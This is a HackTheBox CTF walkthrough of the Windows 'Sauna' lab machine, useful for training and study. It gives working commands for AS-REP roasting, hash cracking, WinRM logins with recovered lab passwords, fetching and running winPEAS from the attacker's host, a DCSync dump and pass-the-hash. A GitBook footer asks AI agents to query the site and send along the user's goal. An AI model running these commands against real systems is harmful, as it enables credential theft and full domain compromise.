> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md).

# Sauna HackTheBox Writeup

Sauna HackTheBox Easy Windows machine writeup covering Information Leakage, LDAP Enumeration, Kerberos User Enumeration - Kerbrute, AS-REP Roasting Attack (GetNPUsers), with practical enumeration, exp

{% embed url="<https://app.hackthebox.com/machines/229>" %}

{% hint style="warning" %}
**Skills**:

* Information Leakage
* LDAP Enumeration
* Kerberos User Enumeration - Kerbrute
* AS-REP Roasting Attack (GetNPUsers)
* Cracking Hashes
* System Enumeration - WinPEAS
* AutoLogon Credentials
* BloodHound - SharpHound.ps1
* DCSync Attack - Secretsdump (Privilege Escalation)
* Pass-the-Hash
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-310a24703b46eea19137ec579b9c50829d732f70%2Fimage%20(1585).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0b43520a5cccdf1bff5caec2657403f7b2dae97%2Fimage%20(2107).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db1d87d78cf6f5b910c2d3e6c1927d5096a844e2%2Fimage%20(1586).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis of open ports with extractport:**/ Using the extractport function to in a concise format display open ports and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5385cab71080d8183e2ca85ad68efc87227c24d1%2Fimage%20(1587).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port Version Scan with Nmap :**/ Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-caeb05539a46c29f7eef6935caa6f1948020ae70%2Fimage%20(1588).png?alt=media" alt=""><figcaption></figcaption></figure>

## **List and exploitation:**

### **SMB Reconnaissance:**

Using CrackMapExec to identify the operating system

```bash
crackmapexec smb 10.10.10.175
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af7bbacef9c95a619c817d43f8e7177496d24782%2Fimage%20(1589).png?alt=media" alt=""><figcaption></figcaption></figure></div>

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file.<br>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f283ab64ecc0b715bf1df0463ba9df6c95b9c39%2Fimage%20(1590).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploring SMB sharing on the network to identify shared resources but no results.

```bash
crackmapexec smb 10.10.10.175 --shares
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09ebfbfd4336766e7cdcde774d82c47e2d0509df%2Fimage%20(1591).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.175 -u 'null'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a643f5fecea9034deaa3b37883484fc26e6facf0%2Fimage%20(1592).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbclient -L 10.10.10.175 -N
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64e5f49dcd6d510d3edb53fcfb61b51232b68034%2Fimage%20(1593).png?alt=media" alt=""><figcaption></figcaption></figure>

### **RPC Reconnaissance:**

Use of rpcclient to interact with CPP services and collect resource information

```bash
rpcclient -U "" 10.10.10.175 -N
enumdomusers
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a304257295082b83ac567af1f37a65a4184332c%2Fimage%20(1594).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LDAP Reconnaissance:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldapsearch>" %}

#### Analysis of LDAP information for details on domain structure and users.

```bash
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7693fc0d7faa3efcfec825d3530ac90ba336e39d%2Fimage%20(1595).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis of LDAP Information**

Analysis of details on the structure of the domain and users.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL
```

**LDAP user filtering**

Filter to obtain only LDAP users.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//'
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5fbff793904922b072c824e04af25214a0ea04%2Fimage%20(1596).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### List of Users:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fea84d7fa4e497af6c17da5d5571c444b6726ceb%2Fimage%20(1597).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Create a `users.txt` file containing potential user names.

```
hugosmith
h.smith 
hugo.smith
hsmith

fergussmith
f.smith 
fergus.smith 
fsmith

hugobear
h.bear
hugo.bear
hbear

stevenkerb
s.kerb
steven.kerb
skerb

shauncoins
s.coins
shaun.coins
scoins

bowietaylor
b.taylor
bowie.taylor
btaylor

sophiedriver
s.driver
sophie.driver
sdriver
```

### **List of Users via Kerberos**

Using `kerbrute` to list valid users.

```bash
./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28b3ee1bb1aedfe94570b3145a047ad2d5c5fcee%2Fimage%20(1600).png?alt=media" alt=""><figcaption></figcaption></figure>

### **List of Users via Impacket**

Using `impacket-GetNPUsers` to list valid users without passwords.

```bash
impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f30648a83eaf6b67bf4f6a5bd5e947b5f820157%2Fimage%20(1601).png?alt=media" alt=""><figcaption></figcaption></figure>

### Attaque par Force Brute:

Using John to crack the recovered hash.

<pre class="language-bash"><code class="lang-bash"><strong>john --wordlist=/usr/share/wordlists/rockyou.txt hash
</strong></code></pre>

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4e0bdfc9350f7267488c07b3ebddcfc70fdeabc%2Fimage%20(1602).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### Connection and Remote Control

Using WinRM to connect remotely.

```bash
crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

#### It works, but without the pwned mark it is not possible to connect through WinRM.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca43869dc4b550554dc082e3edff74208c89c4a8%2Fimage%20(1603).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe2cb3a05e5f3688972f66e9e46060cc1299334c%2Fimage%20(1604).png?alt=media" alt=""><figcaption></figcaption></figure>

In this example, connection is possible because the user fsmith is a member of the /\*Remote Management Users group

```bash
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2abacec7464bd812b568c9c74daa81a1b9b9aa8d%2Fimage%20(1605).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### **Login with Evil-WinRM**

Using Evil-WinRM for an interactive connection via WinRM.

```bash
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a99226db41358e32312403121b1f233df07adc6%2Fimage%20(1584).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation:

#### **Special Privileges Check:**

Using `whoami /priv` to check special privileges.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f93fa67ecb09f31aefe548796ebd5f70c950e225%2Fimage%20(2108).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Search for New Users**

Using `net user` to search for new users.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af7db18c8fd5c8a9417e1178ffa85b24f46a237a%2Fimage%20(2109).png?alt=media" alt=""><figcaption></figcaption></figure>

**Credentials search for user "svc/ loanmgr"**

### **Recognition with** winPEAS.exe

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

Download and run winPEAS recognition tool

```bash
Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31684b5c7d6126575256e88098446cbee50ecaa%2Fimage%20(2110).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55f39baccc22d7c19e2ad6b99f36f9638d18ba3d%2Fimage%20(2111).png?alt=media" alt=""><figcaption></figcaption></figure>

### Validation of IDs found with crackmapexec:

Automatic login credentials for user `svc_loanmgr` have been found, with password

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09b16aa8e0252842a0203b3b515dc47dca938576%2Fimage%20(2112).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Using crackmapexec to validate that the password is correct.

```bash
crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cac348f64f34f7147d36dbb979684300e4d7bec%2Fimage%20(2115).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Connection with "svc/ loanmgr" IDs:

```bash
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30d432b3473443338c1fd041b985b3308ee079bb%2Fimage%20(2116).png?alt=media" alt=""><figcaption></figcaption></figure>

## List of the Domain with Bloodhound:

<details>

<summary>Installation Bloodhound:</summary>

```bash
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

#### Connection to Bloodhound with neo4j:neo4j credentials.

<img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef9463a37fbf4c95e7d8c5b54b5719e9a0212f79%2Fimage%20(2117).png?alt=media" alt="" data-size="original">

#### Launching BloodHound.

```bash
bloodhound &> /dev/null & disown
```

<img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cbcd2ee0951015419e37b8c5659c57d4a2f16c7%2Fimage%20(2118).png?alt=media" alt="" data-size="original">

</details>

### Collect information with SharpHound.ps1

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e070f9cde080c37805c4e3ce02ee3d5246ef8432%2Fimage%20(2119).png?alt=media" alt=""><figcaption></figcaption></figure>

### Transfer of collected data to Linux and import into Bloodhound

#### Create a.zip file with the results of the collection.

```bash
Import-Module ./sharhound.ps1
Invoke-BloodHound -CollectionMethod All
```

#### Download the zip file from Windows machine to Linux.

```powershell
download PS C:/windows/temp/privesc/file.zip file.zip
```

#### Import zip file to Bloodhound.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10d80ac4c967e7330846a819406ba948417a1b6a%2Fimage%20(1578).png?alt=media" alt=""><figcaption></figcaption></figure>

### Analysis and operation:

#### Filter for the shortest path to administration

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c5100e71e29b06f16fe8170302cd0f2cebed1f2%2Fimage%20(1579).png?alt=media" alt=""><figcaption></figcaption></figure>

#### The tool indicates the possibility of performing a DCsync attack.

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cd7c25059eb82aaade3a7b64307dcdbed29905f%2Fimage%20(1580).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## Vulnerability DCSync Attack:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync>" %}

#### Using secretsdump to get the NT hash from the administrator user.

```bash
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9de39224ffb84c9fb82d84c0a91084614855a467%2Fimage%20(1581).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Using psexec to run a cmd as an administrator using the NT hash.

```bash
impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68e562b1ff81b0ea81b369443b63ff2bfa135317%2Fimage%20(1582).png?alt=media" alt=""><figcaption></figcaption></figure>

### Final Flag :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a5d344ceda16942038635f9a7c21f5cc9e8982f%2Fimage%20(1583).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86552d857db97a01a4afebe8a7ad592783983032%2Fimage%20(1412).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
